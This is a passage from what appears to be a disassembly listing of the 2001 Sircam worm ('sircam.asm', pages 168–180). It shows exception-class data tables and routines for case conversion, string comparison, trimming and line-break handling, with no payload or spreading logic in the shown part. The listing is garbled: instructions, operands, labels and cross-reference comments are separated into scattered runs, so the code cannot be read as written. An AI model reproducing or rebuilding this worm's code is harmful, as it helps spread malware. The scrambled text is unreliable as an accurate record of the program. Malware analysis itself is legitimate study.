6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: CODE:00406740
sircam.asm
dword_4067E8
\030o
off_4067F8
dword_406844
\030o
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
; CODE:00406760\030o
offset dword_4067E8
7 dup(0)
offset dword_4067E8
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:0040679C
dd offset dword_406844
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
; CODE:004067BC\030o ...
; DATA XREF: sub_406CBC+7\031r
; sub_406CD4+2D\031r ...
7 dup(0)
offset dword_406844
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004067F8
off_406854
dd offset dword_4068A0
dword_4068A0
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_406900
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
168
; CODE:00406818\030o
; DATA XREF: sub_409864+122\031r
; sub_409864+17E\031r
7 dup(0)
offset dword_4068A0
10h
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
; DATA XREF: CODE:00406854\030o
; CODE:00406874\030o ...
offset dword_406900
7 dup(0)
offset dword_406900
10h
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
7250450Ah, 6C697669h, 90656765h ; DATA XREF: CODE:004068B4\030o
; CODE:004068D4\030o ...
offset dword_406958
7 dup(0)
offset dword_406958
10h
sircam.asm
dword_406958
\030o
dword_4069B4
dword_406A0C
\030o
off_406A1C
dword_406A68
off_406A7C
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
169
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; DATA XREF: CODE:0040690C
; CODE:0040692C\030o ...
offset dword_4069B4
7 dup(0)
offset dword_4069B4
10h
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:00406968\030o
; CODE:00406988\030o ...
offset dword_406A0C
7 dup(0)
offset dword_406A0C
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004069C0
; CODE:004069E0\030o ...
offset dword_406A68 ; DATA XREF: sub_4096CC+72\031r
7 dup(0)
offset dword_406A68
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
; DATA XREF: CODE:00406A1C\030o
; CODE:00406A3C\030o ...
offset dword_406AC8 ; DATA XREF: sub_4097A4+18\031r
7 dup(0)
offset dword_406AC8
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
sircam.asm
dword_406AC8
\030o
dword_406B24
\030o
Fri Aug 10 12:42:44 2001
dd offset sub_402B84
dd offset sub_402BCC
dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: CODE:00406A7C
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
; CODE:00406A9C\030o
offset dword_406B24
7 dup(0)
offset dword_406B24
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6E49450Eh, 61436674h, 72457473h, 90726F72h ; DATA XREF: CODE:00406AD8
off_406B34
dd offset dword_406B80
dword_406B80
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_406BD8
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_406BF4
off_406BF8
dd
dd
dd
dword_406BFC
dd
off_406C1C
170
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
; CODE:00406AF8\030o ...
; DATA XREF: sub_40A398+4E\031r
; sub_40A398+62\031r
7 dup(0)
offset dword_406B80
10h
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6957450Bh, 4532336Eh, 726F7272h ; DATA XREF: CODE:00406B34\030o
; CODE:00406B54\030o
offset dword_406BD8
7 dup(0)
offset dword_406BD8
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
; DATA XREF: CODE:00406B8C\030o
; CODE:00406BAC\030o ...
0FFFFFFFFh, 1
24h
; DATA XREF: DATA:0041C124\031o
offset dword_406BFC ; DATA XREF: CODE:00406C72\031o
; sub_40A4BC+3E\031r
41541211h, 76697463h, 72685465h, 41646165h, 79617272h
; DATA XREF: CODE:00406BF8\030o
8, 0, 0FFFFFFFFh
offset dword_406C68 ; DATA XREF: CODE:0040E4A8\031o
2 dup(0)
offset dword_406C68
4 dup(0)
offset dword_406C7A
38h
offset off_40100C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
sircam.asm
Fri Aug 10 12:42:44 2001
dword_406C68
dd
dd
dd
dd
dd
dd
dword_406C7A
db
dd
dd
dd
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40A524
0Eh, 10000h
171
; DATA XREF: CODE:00406C1C\030o
; CODE:00406C28\030o
2 dup(0)
offset off_406BF8
28h
754D5424h, 5269746Ch, 45646165h, 756C6378h, 65766973h
; DATA XREF: CODE:00406C3C\030o
dd 74697257h, 6E795365h, 6F726863h, 657A696Eh
db 72h, 90h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_406CA0
proc near
arg_0
= dword ptr
sub_406CA0
push
mov
push
mov
mov
shr
div
mov
mov
mov
pop
pop
retn
endp
; CODE XREF: sub_407D30+2B\031p
; sub_407D30+3B\031p ...
8
ebp
ebp, esp
ebx
ebx, edx
edx, eax
edx, 10h
bx
ebx, [ebp+arg_0]
[ecx], ax
[ebx], dx
ebx
ebp
4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406CBC
proc near
sub_406CBC
push
mov
mov
mov
mov
call
call
pop
retn
endp
; CODE XREF: sub_407CB8+4A\031p
; sub_407E90+45\031p
ebx
ebx, eax
ecx, ebx
dl, 1
eax, ds:off_4067F8
sub_409450
sub_402F98
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_406CD4
proc near
var_4
= dword ptr -4
push
mov
push
push
push
ebp
ebp, esp
0
ebx
esi
; CODE XREF: sub_407688+4C\031p
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
mov
mov
xor
push
push
push
mov
push
push
lea
mov
call
mov
mov
mov
call
call
xor
pop
pop
pop
mov
push
edi
edi, ecx
esi, edx
ebx, eax
eax, eax
ebp
offset loc_406D26
dword ptr fs:[eax]
fs:[eax], esp
esi
edi
edx, [ebp+var_4]
eax, ebx
sub_404B80
ecx, [ebp+var_4]
dl, 1
eax, ds:off_4067F8
sub_40948C
sub_402F98
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_406D2D
loc_406D1D:
sub_406CD4
172
; CODE XREF: CODE:00406D2B\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406D26:
; DATA XREF: sub_406CD4+11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_406D1D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406D2D:
; DATA XREF: sub_406CD4+44\030o
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406D34
proc near
sub_406D34
push
push
mov
mov
call
mov
mov
xor
mov
call
mov
pop
pop
retn
endp
ebx
esi
ebx, eax
eax, ebx
sub_402598
esi, eax
eax, esi
ecx, ecx
edx, ebx
sub_4028D4
eax, esi
esi
ebx
; CODE XREF: sub_4149E8+21\031p
; CODE:00414B6C\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
173
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406D54
proc near
push
push
push
mov
mov
mov
call
mov
mov
mov
call
mov
mov
test
jz
ebx
esi
edi
edi, edx
esi, eax
eax, esi
sub_403724
ebx, eax
eax, edi
edx, ebx
sub_4039FC
edx, esi
esi, [edi]
ebx, ebx
short loc_406D8A
mov
cmp
jb
cmp
ja
sub
al, [edx]
al, 61h
short loc_406D81
al, 7Ah
short loc_406D81
al, 20h
; CODE XREF: sub_411E58+4E\031p
; sub_411E58+5F\031p ...
loc_406D75:
; CODE XREF: sub_406D54+34\031j
loc_406D81:
; CODE XREF: sub_406D54+25\030j
; sub_406D54+29\030j
mov
inc
inc
dec
test
jnz
[esi], al
edx
esi
ebx
ebx, ebx
short loc_406D75
pop
pop
pop
retn
endp
edi
esi
ebx
loc_406D8A:
sub_406D54
; CODE XREF: sub_406D54+1F\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406D90
.
proc near
push
push
push
mov
mov
mov
call
mov
mov
mov
call
mov
mov
ebx
esi
edi
edi, edx
esi, eax
eax, esi
sub_403724
ebx, eax
eax, edi
edx, ebx
sub_4039FC
edx, esi
esi, [edi]
; CODE XREF: sub_41620C+A2\031p start+222\031p ..
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
ebx, ebx
short loc_406DC6
mov
cmp
jb
cmp
ja
add
al, [edx]
al, 41h
short loc_406DBD
al, 5Ah
short loc_406DBD
al, 20h
loc_406DB1:
; CODE XREF: sub_406D90+34\031j
loc_406DBD:
; CODE XREF: sub_406D90+25\030j
; sub_406D90+29\030j
mov
inc
inc
dec
test
jnz
[esi], al
edx
esi
ebx
ebx, ebx
short loc_406DB1
pop
pop
pop
retn
endp
edi
esi
ebx
loc_406DC6:
sub_406D90
174
; CODE XREF: sub_406D90+1F\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406DCC
proc near
; CODE XREF: sub_4151E8+EC\031p
push
esi
push
edi
mov
esi, eax
mov
edi, edx
mov
edx, ecx
xor
eax, eax
and
edx, 3
shr
ecx, 1
shr
ecx, 1
repe cmpsd
jnz
short loc_406DE8
mov
ecx, edx
repe cmpsb
jnz
short loc_406DE8
inc
eax
loc_406DE8:
sub_406DCC
; CODE XREF: sub_406DCC+13\030j
; sub_406DCC+19\030j
pop
pop
retn
endp
edi
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406DEC
proc near
push
esi
push
edi
push
ebx
mov
esi, eax
mov
edi, edx
or
eax, eax
; CODE XREF: sub_406E40+14\031p
sircam.asm
Fri Aug 10 12:42:44 2001
jz
mov
short loc_406DFA
eax, [eax-4]
or
jz
mov
edx, edx
short loc_406E01
edx, [edx-4]
mov
cmp
jbe
mov
ecx, eax
ecx, edx
short loc_406E09
ecx, edx
cmp
ecx, ecx
loc_406DFA:
175
; CODE XREF: sub_406DEC+9\030j
loc_406E01:
; CODE XREF: sub_406DEC+10\030j
loc_406E09:
; CODE XREF: sub_406DEC+19\030j
loc_406E0B:
; CODE XREF: sub_406DEC+45\031j
repe cmpsb
jz
short loc_406E39
mov
bl, [esi-1]
cmp
bl, 61h
jb
short loc_406E1F
cmp
bl, 7Ah
ja
short loc_406E1F
sub
bl, 20h
loc_406E1F:
; CODE XREF: sub_406DEC+29\030j
; sub_406DEC+2E\030j
mov
cmp
jb
cmp
ja
sub
bh, [edi-1]
bh, 61h
short loc_406E2F
bh, 7Ah
short loc_406E2F
bh, 20h
loc_406E2F:
; CODE XREF: sub_406DEC+39\030j
; sub_406DEC+3E\030j
cmp
jz
movzx
movzx
bl, bh
short loc_406E0B
eax, bl
edx, bh
sub
pop
pop
pop
retn
endp
eax, edx
ebx
edi
esi
loc_406E39:
sub_406DEC
; CODE XREF: sub_406DEC+21\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406E40
proc near
cmp
jz
or
jz
or
jz
mov
cmp
jnz
call
test
; CODE XREF: sub_40C02C+1B\031p
; sub_40DC7C+64\031p
eax, edx
short loc_406E5D
eax, eax
short locret_406E5F
edx, edx
short loc_406E60
ecx, [eax-4]
ecx, [edx-4]
short loc_406E60
sub_406DEC
eax, eax
sircam.asm
Fri Aug 10 12:42:44 2001
jnz
short loc_406E60
mov
al, 1
loc_406E5D:
176
; CODE XREF: sub_406E40+2\030j
locret_406E5F:
; CODE XREF: sub_406E40+6\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406E60:
sub_406E40
; CODE XREF: sub_406E40+A\030j
; sub_406E40+12\030j ...
xor
retn
endp
eax, eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406E64
proc near
sub_406E64
push
push
mov
mov
mov
call
push
mov
call
push
mov
call
push
mov
call
push
push
push
call
sub
pop
pop
retn
endp
; CODE XREF: sub_40CCCC+47\031p
; sub_40D498+2D\031p ...
ebx
esi
esi, edx
ebx, eax
eax, esi
sub_403724
eax
eax, esi
sub_4038E8
eax
eax, ebx
sub_403724
eax
eax, ebx
sub_4038E8
eax
1
400h
j_CompareStringA
eax, 2
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406E9C
proc near
; CODE XREF: sub_4112E4+4A\031p
; sub_4112E4+6A\031p ...
push
ebx
push
esi
push
edi
push
ebp
mov
ebp, edx
mov
edi, eax
mov
eax, edi
call
sub_403724
mov
esi, eax
mov
ebx, 1
jmp
short loc_406EB5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406EB4:
; CODE XREF: sub_406E9C+22\031j
inc
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
loc_406EB5:
cmp
jl
cmp
jbe
177
; CODE XREF: sub_406E9C+16\030j
esi, ebx
short loc_406EC0
byte ptr [edi+ebx-1], 20h
short loc_406EB4
loc_406EC0:
; CODE XREF: sub_406E9C+1B\030j
cmp
esi, ebx
jge
short loc_406ECE
mov
eax, ebp
call
sub_4034C8
jmp
short loc_406EE4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406ECD:
; CODE XREF: sub_406E9C+37\031j
dec
esi
cmp
jbe
push
mov
sub
inc
mov
mov
call
; CODE XREF: sub_406E9C+26\030j
byte ptr [edi+esi-1], 20h
short loc_406ECD
ebp
ecx, esi
ecx, ebx
ecx
edx, ebx
eax, edi
sub_40392C
loc_406ECE:
loc_406EE4:
sub_406E9C
; CODE XREF: sub_406E9C+2F\030j
pop
pop
pop
pop
retn
endp
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406EEC
proc near
; CODE XREF: sub_417F24+2FB\031p
push
ebx
push
esi
push
edi
mov
edi, edx
mov
esi, eax
mov
eax, esi
call
sub_403724
mov
ebx, eax
jmp
short loc_406EFF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406EFE:
; CODE XREF: sub_406EEC+1C\031j
dec
ebx
test
jle
cmp
jbe
; CODE XREF: sub_406EEC+10\030j
ebx, ebx
short loc_406F0A
byte ptr [esi+ebx-1], 20h
short loc_406EFE
push
mov
mov
mov
call
pop
edi
ecx, ebx
edx, 1
eax, esi
sub_40392C
edi
loc_406EFF:
loc_406F0A:
; CODE XREF: sub_406EEC+15\030j
sircam.asm
sub_406EEC
Fri Aug 10 12:42:44 2001
pop
pop
retn
endp
178
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406F20
proc near
; CODE XREF: sub_40FCF0+16F\031p
push
ebx
push
esi
push
edi
push
ebp
push
ecx
mov
[esp+0], edx
mov
ebp, eax
mov
ebx, ebp
mov
eax, ebp
call
sub_403724
mov
esi, eax
add
esi, ebx
xor
edi, edi
cmp
esi, ebx
jbe
short loc_406F70
loc_406F3D:
; CODE XREF: sub_406F20+4E\031j
mov
al, [ebx]
mov
edx, eax
sub
dl, 0Ah
jz
short loc_406F4D
sub
dl, 3
jz
short loc_406F50
jmp
short loc_406F5C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406F4D:
; CODE XREF: sub_406F20+24\030j
inc
edi
jmp
short loc_406F6B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406F50:
; CODE XREF: sub_406F20+29\030j
cmp
byte ptr [ebx+1], 0Ah
jnz
short loc_406F59
inc
ebx
jmp
short loc_406F6B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406F59:
; CODE XREF: sub_406F20+34\030j
inc
edi
jmp
short loc_406F6B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406F5C:
and
bt
jnb
inc
; CODE XREF: sub_406F20+2B\030j
eax, 0FFh
ds:dword_41C104, eax
short loc_406F6B
ebx
loc_406F6B:
; CODE XREF: sub_406F20+2E\030j
; sub_406F20+37\030j ...
inc
cmp
ja
ebx
esi, ebx
short loc_406F3D
test
jnz
edi, edi
short loc_406F80
loc_406F70:
; CODE XREF: sub_406F20+1B\030j
sircam.asm
Fri Aug 10 12:42:44 2001
179
mov
eax, [esp+0]
mov
edx, ebp
call
sub_40351C
jmp
short loc_406FE6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406F80:
; CODE XREF: sub_406F20+52\030j
mov
mov
sub
add
mov
xor
call
mov
mov
cmp
jbe
ebx, ebp
ecx, esi
ecx, ebx
ecx, edi
eax, [esp+0]
edx, edx
sub_4035B0
edi, [esp+0]
edi, [edi]
esi, ebx
short loc_406FE6
loc_406F9B:
; CODE XREF: sub_406F20+C4\031j
mov
al, [ebx]
mov
edx, eax
sub
dl, 0Ah
jz
short loc_406FAB
sub
dl, 3
jz
short loc_406FB6
jmp
short loc_406FC7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406FAB:
; CODE XREF: sub_406F20+82\030j
mov
byte ptr [edi], 0Dh
inc
edi
mov
byte ptr [edi], 0Ah
inc
edi
inc
ebx
jmp
short loc_406FE2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406FB6:
; CODE XREF: sub_406F20+87\030j
mov
byte ptr [edi], 0Dh
inc
edi
mov
byte ptr [edi], 0Ah
inc
edi
inc
ebx
cmp
byte ptr [ebx], 0Ah
jnz
short loc_406FE2
inc
ebx
jmp
short loc_406FE2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_406FC7:
mov
and
bt
jnb
mov
inc
inc
; CODE XREF: sub_406F20+89\030j
edx, eax
edx, 0FFh
ds:dword_41C104, edx
short loc_406FDC
[edi], al
edi
ebx
mov
mov
inc
inc
al, [ebx]
[edi], al
edi
ebx
loc_406FDC:
; CODE XREF: sub_406F20+B6\030j
loc_406FE2:
; CODE XREF: sub_406F20+94\030j
; sub_406F20+A2\030j ...
cmp
ja
esi, ebx
short loc_406F9B
sircam.asm
Fri Aug 10 12:42:44 2001
loc_406FE6:
sub_406F20
180
; CODE XREF: sub_406F20+5E\030j
; sub_406F20+79\030j
pop
pop
pop
pop
pop
retn
endp
edx
ebp
edi
esi
ebx
